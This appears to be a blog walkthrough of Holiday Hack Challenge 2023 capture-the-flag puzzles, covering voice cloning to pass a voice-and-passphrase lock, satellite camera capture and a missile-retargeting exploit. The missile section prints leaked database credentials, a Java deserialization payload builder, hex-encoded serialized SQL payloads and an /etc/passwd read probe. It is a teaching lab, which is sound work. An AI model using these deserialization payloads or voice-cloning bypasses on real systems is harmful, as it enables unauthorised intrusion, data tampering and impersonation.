alabaster@ssh-server-vm:~/impacket$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
๐ Space Island Door Access Speaker ๐๐๐
๐ Objective: Thereโs a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
โต Destination: Space Island (Spaceport Point)
โ๏ธ Solution: Use AI to fake the voice of Wombley Cube
and say a passphrase.
- โ๏ธ Sail west towards
Space Island
and dock atSpaceport Point
on the foot of the island - โ๏ธ Head north to find
Jewel Loggins
and theSpace Island Access Speaker
- โ๏ธ Discover that in addition to the retrieved passphrase, it needs to also be said by
Wombley Cube
- โ๏ธ Quick travel to
Chiaroscuro City
onFilm Noir Island
to findWombley Cube
and talk to him to retrievewombleycube_the_enchanted_voyage.mp3
- โ๏ธ Using a
voice AI service
such as PlayHT, cloneWombley Cube
โs voice and use it to speak the required passphrase - โ๏ธ Play back the cloned voice into the
Access Speaker
to openSpace Island Door
๐ฌ Jewel Loggins Conversation:
What are you doing here, and who are you?
Me first? I'm Jewel Loggins. And I was trekking through the jungle and happened to find this place.
I liked this spot and decided to set up camp. Seeing you here is quite the surprise.
Well, because the only other person I've ever seen come here is Wombley Cube.
I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.
I guess all this spy stuff is typical for him, so maybe I shouldn't think much of it. I'm sure everything's fine.
Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.
I gave it a try, but the door didn't open for me. Knowing Wombley, it's some kind of secret passphrase.
If you wanna see where the tram goes, I think you need to find out what that passphrase is.
Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.
I hope you find it. I'll be here when you get back!
What, you know the passphrase!? Let me try it!
Nope, didn't work. Knowing Wombley, the passphrase isn't the only requirement. He's all about that MFA!
Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!
That's it! You need to be Wombley. You need his voice. Now, how are you gonna get that?
Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I'm sure there's one out there.
Are you like a master spy or something? I've only seen stuff like that in the movies!
It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.
๐ก Breakdown:
Sail west towards Space Island
and dock at Spaceport Point
. Head north to find Jewel Loggins
who fails to use the passphrase to open the door.
Quick travel to Chiaroscuro City
on Film Noir Island
to find Wombley Cube
and talk to him to retrieve wombleycube_the_enchanted_voyage.mp3
.
Using a voice AI service
such as PlayHT, upload wombleycube_the_enchanted_voyage.mp3
as a sample of voice to be cloned.
Note: We have all the necessary rights to clone and use the voice because Santa
says so.
For the words to be said, ensure this is what was contained within InstructionsForEnteringSatelliteGroundStation.txt
.
And he whispered, 'Now I shall be out of sight; So through the valley and over the height.' And he'll silently take his way.
Taking the cloned voice
back to the speaker door
, it can now be played back to the speaker.
This successfully opens the door.
๐ Camera Access ๐๐๐
๐ Objective: Gain access to Jackโs camera. Whatโs the third item on Jackโs TODO list?
โต Destination: Space Island (Zenith SGS)
โ๏ธ Solution: CONQUER HOLIDAY SEASON!
- โ๏ธ Enter the door and head east to find
Zenith SGS
onSpace Island
- โ๏ธ Talk to
NanoSat-o-Matic
to retrieve theNanoSat MO framework
- โ๏ธ Use the
Nanosat Christmas Comms
system, and click the christmasGateXOR
in the right corner - โ๏ธ
Time Travel
to create avirtual environment
that can be VPNโd into - โ๏ธ Deploy the
NanoSat MO framework
docker container and VPN into your virtual environment - โ๏ธ Using the
CTI Consumer Test Tool
, fetch information from thenanosat-mo-supervisor-Directory
- โ๏ธ Connect to the
AppsLauncher
service provider - โ๏ธ Launch the
camera
application and fetch information from thecamera-Directory
- โ๏ธ Connect to the
Action
service provider and take aBase64SnapImage
- โ๏ธ Launch
Wireshark
to capture packets received from10.1.1.1
- โ๏ธ Connect to the
Parameter
service provider andgetValue
of theBase64SnapImage
- โ๏ธ Using a
hex editor
, carve theBase64SnapImage
from the packet capture and Base64 decode it - โ๏ธ View the captured camera snapshot
๐ฌ Henry Conversation:
Hi, I'm Henry!
I built the satellites with personalities, and now they keep making dad jokes - whoopsies!
๐ฌ NanoSat-o-Matic Conversation:
Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!
๐ก Breakdown:
Enter the door and head east to find Zenith SGS
on Space Island
. Enter the door.
Talk to NanoSat-o-Matic
to download the NanoSat MO framework
. Use the Nanosat Christmas Comms
system
Click the christmas GateXOR
in the right corner to understand how it works.
Click Time Travel
to get an isolated environment with VPN credentials.
Using the downloaded NanoSat MO framework
, pull and deploy an instance using Docker.
systemctl start docker
./build_and_run.sh
Once built connect to the host using the noVNC
web UI.
In your docker container use noVNC
and wireguard
to connect to the VPN via previously provided credentials.
nano /etc/wireguard/wg0.conf
wg-quick up wg0
Using noVNC
and the CTI Consumer Test Tool
, fetch information from the nanosat-mo-supervisor-Directory
URI.
Connect to the AppsLauncher
service provider and launch the camera
application.
Fetch information from the camera-Directory
URI.
Connect to the Action
service provider and take a Base64SnapImage
. Launch Wireshark to capture packets received from 10.1.1.1
(or 172.17.0.2
if via the virtual interface). Connect to the Parameter
service provider and getValue
of the Base64SnapImage
.
Using Wireshark
locate the appropriately long TCP
stream containing the retrieved image by following TCP
streams of interest.
Save this to a file (in this instance called TCPStream
in /root
) and copy it out of the docker container (in this instance 0fbe54ed55cb
) for processing.
docker cp 0fbe54ed55cb:/root/TCPStream .
Open in an appropriate hex editor (in this instance HxD
), and carve out the Base64 encoded JPG file.
Decode this data using a tool like CyberChef
to reveal a photo of Jack Frost
up in a satellite with a plan to CONQUER HOLIDAY SEASON!
.
This solves the challenge.
๐ Missile Diversion ๐๐๐๐๐
๐ Objective: Thwart Jackโs evil plan by re-aiming his missile at the Sun.
โต Destination: Space Island (Zenith SGS)
โ๏ธ Solution: Exploit a vulnerability in the missile-targeting-system
application to aim Jack Frosts missiles at the sun.
- โ๏ธ Using the VPN connection from
Camera Access
launch themissile-targeting-system
application - โ๏ธ Fetch information from the
missile-targeting-system-Directory
and connect to theParameter
service provider - โ๏ธ Attempt to set the
PointingMode
and discover something is preventing this from being updated - โ๏ธ Retrieve and decompile the
missile-targeting-system
java application to locate database credentials - โ๏ธ Identify an injection vulnerability within the application
- โ๏ธ Connect to the
missile_targeting_system
database - โ๏ธ Locate
INSERT
privileges tosatellite_query
table - โ๏ธ Identify
SatelliteQueryFileFolderUtility
class with deserialization vulnerability - โ๏ธ Using
ChatGPT
develop a wrapper to deserialize and serialize objects withgson
- โ๏ธ Serialize an instance of
SatelliteQueryFileFolderUtility
which has parameters set to updatepointing_mode
to the value1
- โ๏ธ Encode the payload as hex and insert this into
satellite_query
๐ฌ Wombley Cube Conversation:
A... missile... aimed for Santa's sleigh? I had no idea...
I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics!
Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions.
I'll help you bring Jack to justice...
But my mission to ensure Santa never again compromises the holidays is still in progress.
It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest.
Use the door to the right to return to the resort lobby and see what happened!
Don't worry, I'll meet you there... trust me.
๐ก Breakdown:
Using the VPN connection from Camera Access
launch the missile-targeting-system
application.
Fetch information from the missile-targeting-system-Directory
and connect to the Parameter
service provider.
Attempt to set the PointingMode
. Something is preventing this being updated, although it does show as updated for a brief time under the Published Parameter Values
before quickly defaults back to Earth Point Mode
.
Locating the NanoSat MO framework
libraries within /opt/nmf/lib
, the missile-targeting-system-2.1.0-SNAPSHOT.jar
application can be retrieved for further analysis.
docker cp 0fbe54ed55cb:/opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar .
Decompiling this using JD-GUI
shows a method called sqlGetMode
which attempts to make a connection to the missile_targeting_system
database by using a JDBC
driver.
This also reveals a parameter which could be exploited to run queries against the database. It is ironically called injection
.
This vulnerability exists when getting the value of Debug
in the Parameter
service provider; however, it isnโt required now that thereโs direct access to the database. First get the sqlite-jdbc
driver class from the NanoSat
docker container to support connecting to the missile_targeting_system
database.
docker cp 0fbe54ed55cb:/opt/nmf/lib/sqlite-jdbc-3.32.3.2.jar .
Next, connect your host machine to the VPN using wireguard
(rather than the docker container), to allow direct access to an adjacent system at 10.1.1.1
. This adjacent system is hosting the missile_targeting_system
database. Once connected, use SQuirreL SQL Client and setup the MariaDB Driver for MySQL and MariaDB
driver.
Configure an alias to use the driver in question and connect to the missile_targeting_system
at 10.1.1.1
on port 3306
. Ensure this uses the username targeter
and the password cu3xmzp9tzpi00bdqvxq
.
Using the alias connect to the database and locate the various pointing modes.
Attempting to update pointing_mode
causes an access denied message.
Examining the user granted permissions reveals only one table that targeter
can insert into, satellite_query
.
Checking this table shows a single query encoded as hex that resulted in a class being returned from the application called SatelliteQueryFileFolderUtility
.
ac ed 00 05 73 72 00 1f 53 61 74 65 6c 6c 69 74 65 51 75 65 72 79 46 69 6c 65 46 6f 6c 64 65 72 55 74 69 6c 69 74 79 12 d4 f6 8d 0e b3 92 cb 02 00 03 5a 00 07 69 73 51 75 65 72 79 5a 00 08 69 73 55 70 64 61 74 65 4c 00 0f 70 61 74 68 4f 72 53 74 61 74 65 6d 65 6e 74 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 78 70 00 00 74 00 29 2f 6f 70 74 2f 53 61 74 65 6c 6c 69 74 65 51 75 65 72 79 46 69 6c 65 46 6f 6c 64 65 72 55 74 69 6c 69 74 79 2e 6a 61 76 61
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
Looking at the hex already inserted into satellite_query
shows a reference to SatelliteQueryFileFolderUtility
, /opt/SatelliteQueryFileFolderUtility.java
, and a number of other interesting entries including isQuery
, isUpdate
, and pathOrStatement
.
Comparing this to the response received shows that the class SatelliteQueryFileFolderUtility
implements the Serializable
java class and contains 3 possible parameters isQuery
, isUpdate
, pathOrStatement
.
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
The class specifically checks if the request isUpdate
is set to false, and if it isnโt it will perform an SQL update directly to the database.
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
Some trial and error with the hex inserted into satellite_query
confirms that this is also loading the class /opt/SatelliteQueryFileFolderUtility.java
from the remote host. Any attempt to request another file such as /etc/passwd
causes an end of file exception, or path does not exist
for files not on disk.
insert into satellite_query (object) values (X'aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b787000007400292f6574632f706173737764');
To exploit this vulnerability create an object of the same SatelliteQueryFileFolderUtility
class with pathOrStatement
set to an SQL insert
statement designed to update the pointing mode whilst ensuring both isQuery
and isUpdate
are set to true
. In addition understanding how gson
has been used here and serialization as a whole is also required.
Consulting OpenAI
โs ChatGPT, a basic prompt of write me a serialisation wrapper in java for Gson
gives back some sample code and an explanation.
import com.google.gson.Gson;
public class GsonSerializationWrapper {
private final Gson gson;
public GsonSerializationWrapper() {
this.gson = new Gson();
}
/**
* Serialize an object to a JSON string.
*
* @param object The object to be serialized.
* @return A JSON string representing the object.
*/
public String serialize(Object object) {
return gson.toJson(object);
}
/**
* Deserialize a JSON string to an object of the specified class.
*
* @param json The JSON string to be deserialized.
* @param clazz The class of the object to be created.
* @param <T> The type of the object.
* @return An object of the specified class.
*/
public <T> T deserialize(String json, Class<T> clazz) {
return gson.fromJson(json, clazz);
}
public static void main(String[] args) {
// Example usage
GsonSerializationWrapper wrapper = new GsonSerializationWrapper();
// Object to be serialized
Person person = new Person("John Doe", 25);
// Serialize object to JSON
String json = wrapper.serialize(person);
System.out.println("Serialized JSON: " + json);
// Deserialize JSON to object
Person deserializedPerson = wrapper.deserialize(json, Person.class);
System.out.println("Deserialized Person: " + deserializedPerson);
}
// Sample class for serialization/deserialization
static class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
}
In this example, the
GsonSerializationWrapper
class has methods for both serialization (serialize
) and deserialization (deserialize
). It uses theGson
instance to perform the actual JSON processing. Themain
method demonstrates how to use this wrapper with a simplePerson
class.
Using this as a bit of a guide, begin building upon the original SatelliteQueryFileFolderUtility
class. Using Visual Studio Code
on a system with Java
is installed, begin to build out a main method that will return a serialised, hex encoded object that can be inserted into the satellite_query
table.
Of note is that in the above script we first try and confirm that an object can be serlialised and deserialised successfully before producing an output that can be sent to the satellite. The main additions and modifications to SatelliteQueryFileFolderUtility
are as follows:
โ Extra Imports
import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
For the completed solution a number of imported Java
classes need to be imported.
โ Modified SatelliteQueryFileFolderUtility Class
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
private static final long serialVersionUID = 1356980473442833099L;
For the completed solution a hardcoded variable of serialVersionUID
needed to be set to 1356980473442833099
to fix a local class incompatibility issue when trying to insert the serialised object.
Deserialization/IO Exception: java.io.InvalidClassException: SatelliteQueryFileFolderUtility; local class incompatible: stream classdesc serialVersionUID = 3478225892575134164, local class serialVersionUID = 1356980473442833099
โ Gson class and main method
public Gson Gson() {
Gson gson = new Gson();
return gson;
}
public static void main(String[] args) {
Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(json2);
out.flush();
byte[] Bytes = bos.toByteArray();
System.out.println(Arrays.toString(Bytes));
} catch (IOException e){
try {
bos.close();
} catch (IOException ex) {
// ignore close exception
}
}
}
The brains of the code is above. First the wrapper
code is used to create a new Gson
object. From here a new SatelliteQueryFileFolderUtility
object is created with a query set to update the pointing_mode
, and the object type is identified for serialisation.
Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
Next the object is serialised to JSON
and printed before being deserialised and printed as the appropriate object. This confirms the logic functions properly.
String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);
From here a stream is defined that will host the deserialised object as an array of bytes that are then printed.
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(json2);
out.flush();
byte[] Bytes = bos.toByteArray();
System.out.println(Arrays.toString(Bytes));
} catch (IOException e){
try {
bos.close();
} catch (IOException ex) {
// ignore close exception
}
}
This completes the crux of the code with the final class shown below.
โ Completed class
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
private static final long serialVersionUID = 1356980473442833099L;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
public Gson Gson() {
Gson gson = new Gson();
return gson;
}
public static void main(String[] args) {
Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(json2);
out.flush();
byte[] Bytes = bos.toByteArray();
System.out.println(Arrays.toString(Bytes));
} catch (IOException e){
try {
bos.close();
} catch (IOException ex) {
// ignore close exception
}
}
}
}
To compile the class into a usable Java Archive
, the javac
command needs to be used whilst specifying the path to gson-2.8.6.jar
after downloading it from the maven repository. To run the application the gson class
needs to also be specified using java -cp gson-2.8.6.jar: SatelliteQueryFileFolderUtility
.
~/Documents$ CLASSPATH=./gson-2.8.6.jar javac SatelliteQueryFileFolderUtility.java
~/Documents$ java -cp gson-2.8.6.jar: SatelliteQueryFileFolderUtility
{"pathOrStatement":"update pointing_mode set numerical_mode\u003d1 WHERE id\u003d1;","isQuery":true,"isUpdate":true}
SatelliteQueryFileFolderUtility@16b4a017
[-84, -19, 0, 5, 115, 114, 0, 31, 83, 97, 116, 101, 108, 108, 105, 116, 101, 81, 117, 101, 114, 121, 70, 105, 108, 101, 70, 111, 108, 100, 101, 114, 85, 116, 105, 108, 105, 116, 121, 18, -44, -10, -115, 14, -77, -110, -53, 2, 0, 3, 90, 0, 7, 105, 115, 81, 117, 101, 114, 121, 90, 0, 8, 105, 115, 85, 112, 100, 97, 116, 101, 76, 0, 15, 112, 97, 116, 104, 79, 114, 83, 116, 97, 116, 101, 109, 101, 110, 116, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 120, 112, 1, 1, 116, 0, 53, 117, 112, 100, 97, 116, 101, 32, 112, 111, 105, 110, 116, 105, 110, 103, 95, 109, 111, 100, 101, 32, 115, 101, 116, 32, 110, 117, 109, 101, 114, 105, 99, 97, 108, 95, 109, 111, 100, 101, 61, 49, 32, 87, 72, 69, 82, 69, 32, 105, 100, 61, 49, 59]
The above byte array can now be converted from Decimal
into hex so it is ready for inserting into satellite_query
.
Submitting this into the database shows the message SQL Update completed
indicating it was successfully deserialised and executed by the missile-targeting-system
to point it at the sun.
insert into satellite_query (object) values (X'aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003575706461746520706f696e74696e675f6d6f646520736574206e756d65726963616c5f6d6f64653d312057484552452069643d313b');
Immediately this solves the challenge and Wombley Cube
mentions that the satellite crashed near Rudolph's Rest
.
Accessing the door
adjacent to Wombley Cube
shows video footage from SANTA SAT CAM-02
of what just happened.
โ๏ธ The Finale
๐ Objective: Return to Rudolphโs Rest Resort Lobby
โต Destination: Christmas Island (Resort Lobby)
โ๏ธ Solution: Return to Rudolphโs Rest Resort Lobby and talk to Santa
- โ๏ธ Quick travel to
Resort Lobby
onChristmas Island
which was unlocked after entering it at the end ofAzure 101
- โ๏ธ Talk to
Santa
, theTroll
s, andJack Frost
๐ฌ Santa Conversation:
You've done it! You've saved me and my sleigh from Jack Frost's dastardly plan!
I must admit, it's astonishing the lengths Jack will go to in order to try and stop the holiday season.
Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.
And to think he even recruited one of my dear elves... I never saw that coming. Oh, Wombley...
But thanks to your incredible efforts, we've proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!
I can't thank you enough for your help in protecting the magic and joy of this special time of year.
I'd like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.
Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!
Ho ho ho, happy holidays!
๐ฌ Troll Conversation:
Thank you so much!
We assure you and Santa Clause that Jack Frost will be brought to justice!
๐ฌ Jack Frost Conversation:
Okay, listen up, yes I've been caught, but let me tell you, my plan was incredible, I mean really incredible.
I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.
My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.
I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa's operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.
And Wombley, the elf, joining me? Easy. He was so easy to convince.
You see, there's a big, big dissent in Santa's ranks, huge.
The elves, they're not happy with Santa.
Mark my words, even if I don't stop Santa, his own elves will.
It's going to be tremendous, this you will see.
๐ฌ Story:
Just sit right back and youโll hear a tale,
A tale of a yuletide trip
That started from a tropic port,
Aboard this tiny ship
Santa and his helpful elves
To Geese Islands did go
Continuing their merry work
O'er sand instead of snow
New this year: a shiny tool
The elves logged in with glee
What makes short work of many tasks?
It's ChatNPT. _It's ChatNPT_
From images to APIs
This AI made elves glad
But motivations were unknown
So was it good or bad?
Could it be that NPT
Was not from off-the-shelf?
Though we'll forgive and trust again
We'd found a naughty elf
This fancy AI tool of ours
With all our work remained
Not good or bad, our online friend
Just did as it was trained
Surely someone's taint must be
Upon our AI crutch
Yes indeed, this bold new world
Bore Jack Frost's icy touch
Though all's returned to steady state
There's one thing that we know
We'll all be needed once again
When Santa's back on snow
๐ก Breakdown:
Quick travel to Resort Lobby
on Christmas Island
and talk to everyone to uncover Jack was the mastermind behind it all, including convincing Santa
and the elves to go to the Geese Islands
!
๐ BONUS! Fishing Guide ๐
๐ Objective: Catch twenty different species of fish that live around Geese Islands. When youโre done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.
โต Destination: Island of Misfit Toys (Squarewheel Yard) and The Grand Line (Open Seas)
โ๏ธ Solution: Catch 20
different species of fish and talk to Poinsettia McMittens
.
- โ๏ธ Quick travel to
Squarewheel Yard
on theIsland of Misfit Toys
and talk toPoinsettia McMittens
by the dock - โ๏ธ Begin sailing on the
Open Seas
and holdSPACE
to drop your anchor - โ๏ธ Click on
Cast Line
and then whenReel it in!
is in red click on it to catch a fish - โ๏ธ Repeat another
19
times and talk toPoinsettia McMittens
๐ก Breakdown:
Quick travel to Squarewheel Yard
on the Island of Misfit Toys
and talk to Poinsettia McMittens
by the dock.
Begin sailing on the Open Seas
and hold SPACE
to drop your anchor.
Click on Cast Line
and then when Reel it in!
is in red click on this to catch a fish.
Repeat this process randomly in water and return to Poinsettia McMittens
to solve the challenge.
๐ BONUS! Fishing Mastery ๐๐๐๐
๐ Objective: Catch at least one of each species of fish that live around Geese islands. When youโre done, report your findings to Poinsettia McMittens.
โต Destination: Island of Misfit Toys (Squarewheel Yard) and The Grand Line (Open Seas)
โ๏ธ Solution: Catch all 171
different species of fish.
- โ๏ธ Discover where different fish are located by viewing the
website source
- โ๏ธ Use
ChatGPT
to locate theelusive fish
and highlight fishhot spots
- โ๏ธ Understand the
Holiday Hack Challenge websocket
messages - โ๏ธ Use
ChatGPT
to create a script template that interacts with a websocket - โ๏ธ Build out a
fishing script
using the Holiday Hack Challenge websocket endpoints - โ๏ธ Move boat and catch a fish with the websocket. Repeat this process until only a small amount of fish remain.
- โ๏ธ Use
ChatGPT
and/or photo editing software create a map where remaining fish can be found - โ๏ธ Modify script and catch remaining fish
๐ก Breakdown:
Inspecting the website source when on the open seas shows a developer comment linking to fishdensityref.html.
This provides a mask
for every individual fish and where they can be found. Of particular note is the fish Piscis Cyberneticus Skodo
which can only be found in one area as evident by the light mask.
Given this hasnโt been overlayed with the Geese Islands
map itโs not clear whereabouts this elusive fish
can be found. Given each mask is exactly 250x250 pixels
, a screenshot
of the map using these measurements can be a base to gather the approximate position of this fish.
Although this could be done in a photo editing software like GIMP
, it can also be done using Python
. Having ChatGPT
around makes the task easier, but failing to give adequate context and correct prompting may lead to some hallucinations and scripting errors that need refining. In this instance I never gave the proper context nor background to ChatGPT
using GPT 3.5
, and the conversation was as follows:
from PIL import Image
def mask_images(input_image_path, mask_image_path, output_image_path):
# Open the input image
input_image = Image.open(input_image_path).convert("RGBA")
# Open the mask image (it should be a black and white image for transparency)
mask_image = Image.open(mask_image_path).convert("L") # Convert to grayscale
# Ensure both images have the same size
if input_image.size != mask_image.size:
raise ValueError("Input and mask images must have the same size")
# Create a new image with RGBA mode and use the mask as the alpha channel
result = Image.new("RGBA", input_image.size)
result.putdata(input_image.getdata())
result.putalpha(mask_image)
# Save the result
result.save(output_image_path, format='PNG')
if __name__ == "__main__":
# Replace these paths with the actual paths of your images
input_image_path = "map.jpg"
mask_image_path = "mask_image.jpg"
output_image_path = "output_image.jpg"
# Call the function to mask the images
mask_images(input_image_path, mask_image_path, output_image_path)
print(f"Image masking complete. Result saved to {output_image_path}")
pip install Pillow
chmod +x masking.py
python3 ./masking.py
Running this script with the correct file names shows the elusive fish
lives around the neck and head area of Steampunk Island
.
Itโs worth noting that there was no guide on where to start and stop the map screenshot, and so this could be slightly north, south, east, or west than what is shown on the map mask. It happens to fit neatly around the enclave created in the island neck which may be the intended location.
In this instance I wanted to go a step further, so worked with ChatGPT
to refine the script so it can overlay multiple masks to an image.
Although it looks impressive, the script had some issues.
At this point there was some strange results with masking, so I provided some clarifying context to ChatGPT
.
ChatGPT
was able to derive enough context from this clarification and outcome to refine the script some more.
Not wanting to have to rename variables every time I asked ChatGPT
to refine the script, it was given the correct variable names. Itโs worth noting the hallucination here due to lack of clarity where it successfully sets the variable input_image_path
to map.jpg
, but then also completely renames it from input_image_path
to map_path
.
Finally ChatGPT
makes a final adjustment which creates an (albeit not perfect), workable solution to find hot spots
for multiple fish.
ChatGPT
can also be used to automate fishing through the Holiday Hack Challenge websocket
despite having never looked at these websockets before.
